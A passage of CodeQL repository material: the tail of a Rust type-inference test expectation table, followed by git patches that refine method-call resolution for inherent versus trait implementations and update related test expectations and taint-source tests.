| { ... } | | file://:0:0:0:0 | & | +| main.rs:1066:32:1068:9 | { ... } | &T | main.rs:1061:5:1069:5 | Self [trait MyTrait] | +| main.rs:1067:13:1067:16 | self | | file://:0:0:0:0 | & | +| main.rs:1067:13:1067:16 | self | &T | main.rs:1061:5:1069:5 | Self [trait MyTrait] | +| main.rs:1067:13:1067:22 | self.foo() | | file://:0:0:0:0 | & | +| main.rs:1067:13:1067:22 | self.foo() | &T | main.rs:1061:5:1069:5 | Self [trait MyTrait] | +| main.rs:1075:16:1075:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1075:16:1075:20 | SelfParam | &T | main.rs:1071:5:1071:20 | MyStruct | +| main.rs:1075:36:1077:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1075:36:1077:9 | { ... } | &T | main.rs:1071:5:1071:20 | MyStruct | +| main.rs:1076:13:1076:16 | self | | file://:0:0:0:0 | & | +| main.rs:1076:13:1076:16 | self | &T | main.rs:1071:5:1071:20 | MyStruct | +| main.rs:1081:13:1081:13 | x | | main.rs:1071:5:1071:20 | MyStruct | +| main.rs:1081:17:1081:24 | MyStruct | | main.rs:1071:5:1071:20 | MyStruct | +| main.rs:1082:9:1082:9 | x | | main.rs:1071:5:1071:20 | MyStruct | +| main.rs:1082:9:1082:15 | x.bar() | | file://:0:0:0:0 | & | +| main.rs:1082:9:1082:15 | x.bar() | &T | main.rs:1071:5:1071:20 | MyStruct | +| main.rs:1092:16:1092:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1092:16:1092:20 | SelfParam | &T | main.rs:1089:5:1089:26 | MyStruct | +| main.rs:1092:16:1092:20 | SelfParam | &T.T | main.rs:1091:10:1091:10 | T | +| main.rs:1092:32:1094:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1092:32:1094:9 | { ... } | &T | main.rs:1089:5:1089:26 | MyStruct | +| main.rs:1092:32:1094:9 | { ... } | &T.T | main.rs:1091:10:1091:10 | T | +| main.rs:1093:13:1093:16 | self | | file://:0:0:0:0 | & | +| main.rs:1093:13:1093:16 | self | &T | main.rs:1089:5:1089:26 | MyStruct | +| main.rs:1093:13:1093:16 | self | &T.T | main.rs:1091:10:1091:10 | T | +| main.rs:1098:13:1098:13 | x | | main.rs:1089:5:1089:26 | MyStruct | +| main.rs:1098:13:1098:13 | x | T | main.rs:1087:5:1087:13 | S | +| main.rs:1098:17:1098:27 | MyStruct(...) | | main.rs:1089:5:1089:26 | MyStruct | +| main.rs:1098:17:1098:27 | MyStruct(...) | T | main.rs:1087:5:1087:13 | S | +| main.rs:1098:26:1098:26 | S | | main.rs:1087:5:1087:13 | S | +| main.rs:1099:9:1099:9 | x | | main.rs:1089:5:1089:26 | MyStruct | +| main.rs:1099:9:1099:9 | x | T | main.rs:1087:5:1087:13 | S | +| main.rs:1099:9:1099:15 | x.foo() | | file://:0:0:0:0 | & | +| main.rs:1099:9:1099:15 | x.foo() | &T | main.rs:1089:5:1089:26 | MyStruct | +| main.rs:1099:9:1099:15 | x.foo() | &T.T | main.rs:1087:5:1087:13 | S | +| main.rs:1107:15:1107:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1107:15:1107:19 | SelfParam | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1107:31:1109:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1107:31:1109:9 | { ... } | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1108:13:1108:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1108:13:1108:19 | &... | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1108:14:1108:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1108:14:1108:19 | &... | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1108:15:1108:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1108:15:1108:19 | &self | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1108:16:1108:19 | self | | file://:0:0:0:0 | & | +| main.rs:1108:16:1108:19 | self | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1111:15:1111:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1111:15:1111:25 | SelfParam | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1111:37:1113:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1111:37:1113:9 | { ... } | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1112:13:1112:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1112:13:1112:19 | &... | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1112:14:1112:19 | &... | | file://:0:0:0:0 | & | +| main.rs:1112:14:1112:19 | &... | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1112:15:1112:19 | &self | | file://:0:0:0:0 | & | +| main.rs:1112:15:1112:19 | &self | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1112:16:1112:19 | self | | file://:0:0:0:0 | & | +| main.rs:1112:16:1112:19 | self | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1115:15:1115:15 | x | | file://:0:0:0:0 | & | +| main.rs:1115:15:1115:15 | x | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1115:34:1117:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1115:34:1117:9 | { ... } | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1116:13:1116:13 | x | | file://:0:0:0:0 | & | +| main.rs:1116:13:1116:13 | x | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1119:15:1119:15 | x | | file://:0:0:0:0 | & | +| main.rs:1119:15:1119:15 | x | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1119:34:1121:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1119:34:1121:9 | { ... } | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1120:13:1120:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1120:13:1120:16 | &... | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1120:14:1120:16 | &... | | file://:0:0:0:0 | & | +| main.rs:1120:14:1120:16 | &... | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1120:15:1120:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1120:15:1120:16 | &x | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1120:16:1120:16 | x | | file://:0:0:0:0 | & | +| main.rs:1120:16:1120:16 | x | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1125:13:1125:13 | x | | main.rs:1104:5:1104:13 | S | +| main.rs:1125:17:1125:20 | S {...} | | main.rs:1104:5:1104:13 | S | +| main.rs:1126:9:1126:9 | x | | main.rs:1104:5:1104:13 | S | +| main.rs:1126:9:1126:14 | x.f1() | | file://:0:0:0:0 | & | +| main.rs:1126:9:1126:14 | x.f1() | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1127:9:1127:9 | x | | main.rs:1104:5:1104:13 | S | +| main.rs:1127:9:1127:14 | x.f2() | | file://:0:0:0:0 | & | +| main.rs:1127:9:1127:14 | x.f2() | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1128:9:1128:17 | ...::f3(...) | | file://:0:0:0:0 | & | +| main.rs:1128:9:1128:17 | ...::f3(...) | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1128:15:1128:16 | &x | | file://:0:0:0:0 | & | +| main.rs:1128:15:1128:16 | &x | &T | main.rs:1104:5:1104:13 | S | +| main.rs:1128:16:1128:16 | x | | main.rs:1104:5:1104:13 | S | +| main.rs:1142:43:1145:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1142:43:1145:5 | { ... } | E | main.rs:1135:5:1136:14 | S1 | +| main.rs:1142:43:1145:5 | { ... } | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1143:13:1143:13 | x | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1143:17:1143:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1143:17:1143:30 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1143:17:1143:31 | TryExpr | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1143:28:1143:29 | S1 | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1144:9:1144:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1144:9:1144:22 | ...::Ok(...) | E | main.rs:1135:5:1136:14 | S1 | +| main.rs:1144:9:1144:22 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1144:20:1144:21 | S1 | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1148:46:1152:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1148:46:1152:5 | { ... } | E | main.rs:1138:5:1139:14 | S2 | +| main.rs:1148:46:1152:5 | { ... } | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1149:13:1149:13 | x | | file://:0:0:0:0 | Result | +| main.rs:1149:13:1149:13 | x | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1149:17:1149:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1149:17:1149:30 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1149:28:1149:29 | S1 | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1150:13:1150:13 | y | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1150:17:1150:17 | x | | file://:0:0:0:0 | Result | +| main.rs:1150:17:1150:17 | x | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1150:17:1150:18 | TryExpr | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1151:9:1151:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1151:9:1151:22 | ...::Ok(...) | E | main.rs:1138:5:1139:14 | S2 | +| main.rs:1151:9:1151:22 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1151:20:1151:21 | S1 | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1155:40:1160:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1155:40:1160:5 | { ... } | E | main.rs:1138:5:1139:14 | S2 | +| main.rs:1155:40:1160:5 | { ... } | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1156:13:1156:13 | x | | file://:0:0:0:0 | Result | +| main.rs:1156:13:1156:13 | x | T | file://:0:0:0:0 | Result | +| main.rs:1156:13:1156:13 | x | T.T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1156:17:1156:42 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1156:17:1156:42 | ...::Ok(...) | T | file://:0:0:0:0 | Result | +| main.rs:1156:17:1156:42 | ...::Ok(...) | T.T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1156:28:1156:41 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1156:28:1156:41 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1156:39:1156:40 | S1 | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1158:17:1158:17 | x | | file://:0:0:0:0 | Result | +| main.rs:1158:17:1158:17 | x | T | file://:0:0:0:0 | Result | +| main.rs:1158:17:1158:17 | x | T.T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1158:17:1158:18 | TryExpr | | file://:0:0:0:0 | Result | +| main.rs:1158:17:1158:18 | TryExpr | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1158:17:1158:29 | ... .map(...) | | file://:0:0:0:0 | Result | +| main.rs:1159:9:1159:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1159:9:1159:22 | ...::Ok(...) | E | main.rs:1138:5:1139:14 | S2 | +| main.rs:1159:9:1159:22 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1159:20:1159:21 | S1 | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1163:30:1163:34 | input | | file://:0:0:0:0 | Result | +| main.rs:1163:30:1163:34 | input | E | main.rs:1135:5:1136:14 | S1 | +| main.rs:1163:30:1163:34 | input | T | main.rs:1163:20:1163:27 | T | +| main.rs:1163:69:1170:5 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1163:69:1170:5 | { ... } | E | main.rs:1135:5:1136:14 | S1 | +| main.rs:1163:69:1170:5 | { ... } | T | main.rs:1163:20:1163:27 | T | +| main.rs:1164:13:1164:17 | value | | main.rs:1163:20:1163:27 | T | +| main.rs:1164:21:1164:25 | input | | file://:0:0:0:0 | Result | +| main.rs:1164:21:1164:25 | input | E | main.rs:1135:5:1136:14 | S1 | +| main.rs:1164:21:1164:25 | input | T | main.rs:1163:20:1163:27 | T | +| main.rs:1164:21:1164:26 | TryExpr | | main.rs:1163:20:1163:27 | T | +| main.rs:1165:22:1165:38 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1165:22:1165:38 | ...::Ok(...) | T | main.rs:1163:20:1163:27 | T | +| main.rs:1165:22:1168:10 | ... .and_then(...) | | file://:0:0:0:0 | Result | +| main.rs:1165:33:1165:37 | value | | main.rs:1163:20:1163:27 | T | +| main.rs:1165:53:1168:9 | { ... } | | file://:0:0:0:0 | Result | +| main.rs:1165:53:1168:9 | { ... } | E | main.rs:1135:5:1136:14 | S1 | +| main.rs:1167:13:1167:34 | ...::Ok::<...>(...) | | file://:0:0:0:0 | Result | +| main.rs:1167:13:1167:34 | ...::Ok::<...>(...) | E | main.rs:1135:5:1136:14 | S1 | +| main.rs:1169:9:1169:23 | ...::Err(...) | | file://:0:0:0:0 | Result | +| main.rs:1169:9:1169:23 | ...::Err(...) | E | main.rs:1135:5:1136:14 | S1 | +| main.rs:1169:9:1169:23 | ...::Err(...) | T | main.rs:1163:20:1163:27 | T | +| main.rs:1169:21:1169:22 | S1 | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1173:37:1173:52 | try_same_error(...) | | file://:0:0:0:0 | Result | +| main.rs:1173:37:1173:52 | try_same_error(...) | E | main.rs:1135:5:1136:14 | S1 | +| main.rs:1173:37:1173:52 | try_same_error(...) | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1177:37:1177:55 | try_convert_error(...) | | file://:0:0:0:0 | Result | +| main.rs:1177:37:1177:55 | try_convert_error(...) | E | main.rs:1138:5:1139:14 | S2 | +| main.rs:1177:37:1177:55 | try_convert_error(...) | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1181:37:1181:49 | try_chained(...) | | file://:0:0:0:0 | Result | +| main.rs:1181:37:1181:49 | try_chained(...) | E | main.rs:1138:5:1139:14 | S2 | +| main.rs:1181:37:1181:49 | try_chained(...) | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1185:37:1185:63 | try_complex(...) | | file://:0:0:0:0 | Result | +| main.rs:1185:37:1185:63 | try_complex(...) | E | main.rs:1135:5:1136:14 | S1 | +| main.rs:1185:37:1185:63 | try_complex(...) | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1185:49:1185:62 | ...::Ok(...) | | file://:0:0:0:0 | Result | +| main.rs:1185:49:1185:62 | ...::Ok(...) | E | main.rs:1135:5:1136:14 | S1 | +| main.rs:1185:49:1185:62 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | +| main.rs:1185:60:1185:61 | S1 | | main.rs:1135:5:1136:14 | S1 | +| main.rs:1193:5:1193:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1194:5:1194:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1194:20:1194:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1194:41:1194:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | From 3ee89899d97083770502b2e7c0fa70f07aecf321 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Tue, 29 Apr 2025 13:26:55 +0200 Subject: [PATCH 037/535] Rust: Handle inherent implementations shadowing trait implementations --- .../elements/internal/MethodCallExprImpl.qll | 28 +++++++++++++------ .../codeql/rust/internal/TypeInference.qll | 19 +++++++++++-- .../PathResolutionConsistency.expected | 5 ---- .../test/library-tests/type-inference/main.rs | 2 +- 4 files changed, 37 insertions(+), 17 deletions(-) delete mode 100644 rust/ql/test/library-tests/type-inference/CONSISTENCY/PathResolutionConsistency.expected diff --git a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll index fb7bcfbdaa4e..8db2bb81dff5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll @@ -14,7 +14,13 @@ private import codeql.rust.internal.TypeInference * be referenced directly. */ module Impl { - private predicate isImplFunction(Function f) { f = any(ImplItemNode impl).getAnAssocItem() } + private predicate isInherentImplFunction(Function f) { + f = any(Impl impl | not impl.hasTrait()).(ImplItemNode).getAnAssocItem() + } + + private predicate isTraitImplFunction(Function f) { + f = any(Impl impl | impl.hasTrait()).(ImplItemNode).getAnAssocItem() + } // the following QLdoc is generated: if you need to edit it, do it in the schema file /** @@ -28,16 +34,22 @@ module Impl { override Function getStaticTarget() { result = resolveMethodCallExpr(this) and ( - // prioritize `impl` methods first - isImplFunction(result) + // prioritize inherent implementation methods first + isInherentImplFunction(result) or - not isImplFunction(resolveMethodCallExpr(this)) and + not isInherentImplFunction(resolveMethodCallExpr(this)) and ( - // then trait methods with default implementations - result.hasBody() + // then trait implementation methods + isTraitImplFunction(result) or - // and finally trait methods without default implementations - not resolveMethodCallExpr(this).hasBody() + not isTraitImplFunction(resolveMethodCallExpr(this)) and + ( + // then trait methods with default implementations + result.hasBody() + or + // and finally trait methods without default implementations + not resolveMethodCallExpr(this).hasBody() + ) ) ) } diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 9b9bb09e1606..595a038884d7 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -974,14 +974,27 @@ private module Cached { string getField() { result = mce.getIdentifier().getText() } + int getNumberOfArgs() { result = mce.getArgList().getNumberOfArgs() } + Type resolveTypeAt(TypePath path) { result = inferReceiverType(this, path) } } + /** Holds if a method for `type` with the name `name` and the arity `arity` exists in `impl`. */ + pragma[nomagic] + private predicate methodCandidate(Type type, string name, int arity, Impl impl) { + type = impl.(ImplTypeAbstraction).getSelfTy().(TypeReprMention).resolveType() and + exists(Function f | + f = impl.(ImplItemNode).getASuccessor(name) and + f.getParamList().hasSelfParam() and + arity = f.getParamList().getNumberOfParams() + ) + } + private module IsInstantiationOfInput implements IsInstantiationOfSig { predicate potentialInstantiationOf(ReceiverExpr receiver, TypeAbstraction impl, TypeMention sub) { - sub.resolveType() = receiver.resolveTypeAt(TypePath::nil()) and - sub = impl.(ImplTypeAbstraction).getSelfTy().(TypeReprMention) and - exists(impl.(ImplItemNode).getASuccessor(receiver.getField())) + methodCandidate(receiver.resolveTypeAt(TypePath::nil()), receiver.getField(), + receiver.getNumberOfArgs(), impl) and + sub = impl.(ImplTypeAbstraction).getSelfTy() } } diff --git a/rust/ql/test/library-tests/type-inference/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/type-inference/CONSISTENCY/PathResolutionConsistency.expected deleted file mode 100644 index a16a01ba2e9e..000000000000 --- a/rust/ql/test/library-tests/type-inference/CONSISTENCY/PathResolutionConsistency.expected +++ /dev/null @@ -1,5 +0,0 @@ -multipleMethodCallTargets -| main.rs:401:26:401:42 | x.common_method() | main.rs:376:9:379:9 | fn common_method | -| main.rs:401:26:401:42 | x.common_method() | main.rs:388:9:391:9 | fn common_method | -| main.rs:402:26:402:44 | x.common_method_2() | main.rs:381:9:384:9 | fn common_method_2 | -| main.rs:402:26:402:44 | x.common_method_2() | main.rs:393:9:396:9 | fn common_method_2 | diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index bdaa7f94e513..30a9b60c864f 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -399,7 +399,7 @@ mod impl_overlap { pub fn f() { let x = S1; println!("{:?}", x.common_method()); // $ method=S1::common_method SPURIOUS: method=::common_method - println!("{:?}", x.common_method_2()); // $ method=S1::common_method_2 SPURIOUS: method=::common_method_2 + println!("{:?}", x.common_method_2()); // $ method=S1::common_method_2 } } From ecead2cafd37f0e5fb628064d7e73c02e6c9014c Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 1 May 2025 09:07:58 +0200 Subject: [PATCH 038/535] Rust: Workaround for method existing both as source and as dependency --- .../rust/elements/internal/MethodCallExprImpl.qll | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll index 8db2bb81dff5..cebfaf6d5baa 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MethodCallExprImpl.qll @@ -31,8 +31,9 @@ module Impl { * ``` */ class MethodCallExpr extends Generated::MethodCallExpr { - override Function getStaticTarget() { + private Function getStaticTargetFrom(boolean fromSource) { result = resolveMethodCallExpr(this) and + (if result.fromSource() then fromSource = true else fromSource = false) and ( // prioritize inherent implementation methods first isInherentImplFunction(result) @@ -54,6 +55,13 @@ module Impl { ) } + override Function getStaticTarget() { + result = this.getStaticTargetFrom(true) + or + not exists(this.getStaticTargetFrom(true)) and + result = this.getStaticTargetFrom(false) + } + private string toStringPart(int index) { index = 0 and result = this.getReceiver().toAbbreviatedString() From a545361a55df710372264dac4b2218ce40c40d4a Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Tue, 29 Apr 2025 14:00:45 +0200 Subject: [PATCH 039/535] Rust: Accept test changes --- .../PathResolutionConsistency.expected | 3 --- .../PathResolutionConsistency.expected | 3 --- .../PathResolutionConsistency.expected | 17 ----------------- .../test/library-tests/path-resolution/main.rs | 4 ++-- .../PathResolutionConsistency.expected | 13 ------------- 5 files changed, 2 insertions(+), 38 deletions(-) delete mode 100644 rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected delete mode 100644 rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected delete mode 100644 rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected delete mode 100644 rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected diff --git a/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected deleted file mode 100644 index fbc771e88519..000000000000 --- a/rust/ql/test/extractor-tests/canonical_path/CONSISTENCY/PathResolutionConsistency.expected +++ /dev/null @@ -1,3 +0,0 @@ -multipleMethodCallTargets -| regular.rs:29:5:29:9 | s.g() | anonymous.rs:15:9:15:22 | fn g | -| regular.rs:29:5:29:9 | s.g() | regular.rs:13:5:13:18 | fn g | diff --git a/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected deleted file mode 100644 index 849d19acbf0e..000000000000 --- a/rust/ql/test/extractor-tests/canonical_path_disabled/CONSISTENCY/PathResolutionConsistency.expected +++ /dev/null @@ -1,3 +0,0 @@ -multipleMethodCallTargets -| regular.rs:32:5:32:9 | s.g() | anonymous.rs:18:9:18:22 | fn g | -| regular.rs:32:5:32:9 | s.g() | regular.rs:16:5:16:18 | fn g | diff --git a/rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected deleted file mode 100644 index c47d16d68751..000000000000 --- a/rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected +++ /dev/null @@ -1,17 +0,0 @@ -multipleMethodCallTargets -| main.rs:11:5:18:5 | conn.execute(...) | file://:0:0:0:0 | fn execute | -| main.rs:11:5:18:5 | conn.execute(...) | file://:0:0:0:0 | fn execute | -| main.rs:22:5:22:37 | conn.execute(...) | file://:0:0:0:0 | fn execute | -| main.rs:22:5:22:37 | conn.execute(...) | file://:0:0:0:0 | fn execute | -| main.rs:23:5:23:38 | conn.batch_execute(...) | file://:0:0:0:0 | fn batch_execute | -| main.rs:23:5:23:38 | conn.batch_execute(...) | file://:0:0:0:0 | fn batch_execute | -| main.rs:25:5:25:32 | conn.prepare(...) | file://:0:0:0:0 | fn prepare | -| main.rs:25:5:25:32 | conn.prepare(...) | file://:0:0:0:0 | fn prepare | -| main.rs:28:5:28:35 | conn.query(...) | file://:0:0:0:0 | fn query | -| main.rs:28:5:28:35 | conn.query(...) | file://:0:0:0:0 | fn query | -| main.rs:29:5:29:39 | conn.query_one(...) | file://:0:0:0:0 | fn query_one | -| main.rs:29:5:29:39 | conn.query_one(...) | file://:0:0:0:0 | fn query_one | -| main.rs:30:5:30:39 | conn.query_opt(...) | file://:0:0:0:0 | fn query_opt | -| main.rs:30:5:30:39 | conn.query_opt(...) | file://:0:0:0:0 | fn query_opt | -| main.rs:35:17:35:67 | conn.query(...) | file://:0:0:0:0 | fn query | -| main.rs:35:17:35:67 | conn.query(...) | file://:0:0:0:0 | fn query | diff --git a/rust/ql/test/library-tests/path-resolution/main.rs b/rust/ql/test/library-tests/path-resolution/main.rs index 1179f2f7b589..eb0ef06f6e9a 100644 --- a/rust/ql/test/library-tests/path-resolution/main.rs +++ b/rust/ql/test/library-tests/path-resolution/main.rs @@ -606,8 +606,8 @@ mod m24 { let impl_obj = Implementor; // $ item=I118 let generic = GenericStruct { data: impl_obj }; // $ item=I115 - generic.call_trait_a(); // $ MISSING: item=I116 - generic.call_both(); // $ MISSING: item=I117 + generic.call_trait_a(); // $ item=I116 + generic.call_both(); // $ item=I117 // Access through where clause type parameter constraint GenericStruct::::call_trait_a(&generic); // $ item=I116 item=I118 diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected deleted file mode 100644 index 9567c4ea5177..000000000000 --- a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected +++ /dev/null @@ -1,13 +0,0 @@ -multipleMethodCallTargets -| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:65:30:65:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:76:29:76:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | From 950812b463bcc7dae9af5f0bceb4cbc6c22acd90 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 24 Apr 2025 11:44:24 +0100 Subject: [PATCH 040/535] Rust: Add further source tests for tcp streams. --- .../dataflow/sources/TaintSources.expected | 2 +- .../library-tests/dataflow/sources/test.rs | 102 ++++++++++++++++-- 2 files changed, 96 insertions(+), 8 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected index 5ae527c9ff74..ce929fd29f0f 100644 --- a/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected +++ b/rust/ql/test/library-tests/dataflow/sources/TaintSources.expected @@ -46,4 +46,4 @@ | test.rs:470:21:470:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:471:21:471:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | | test.rs:479:21:479:39 | ...::open | Flow source 'FileSource' of type file (DEFAULT). | -| test.rs:657:16:657:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | +| test.rs:739:16:739:29 | ...::args | Flow source 'CommandLineArgs' of type commandargs (DEFAULT). | diff --git a/rust/ql/test/library-tests/dataflow/sources/test.rs b/rust/ql/test/library-tests/dataflow/sources/test.rs index 71643f750ade..5a292c999d90 100644 --- a/rust/ql/test/library-tests/dataflow/sources/test.rs +++ b/rust/ql/test/library-tests/dataflow/sources/test.rs @@ -626,7 +626,7 @@ async fn test_std_tcpstream(case: i64) -> std::io::Result<()> { // Result<(), Bo use tokio::io::AsyncWriteExt; -async fn test_tokio_tcpstream() -> std::io::Result<()> { +async fn test_tokio_tcpstream(case: i64) -> std::io::Result<()> { // using tokio::io to fetch a web page let address = "example.com:80"; @@ -637,18 +637,100 @@ async fn 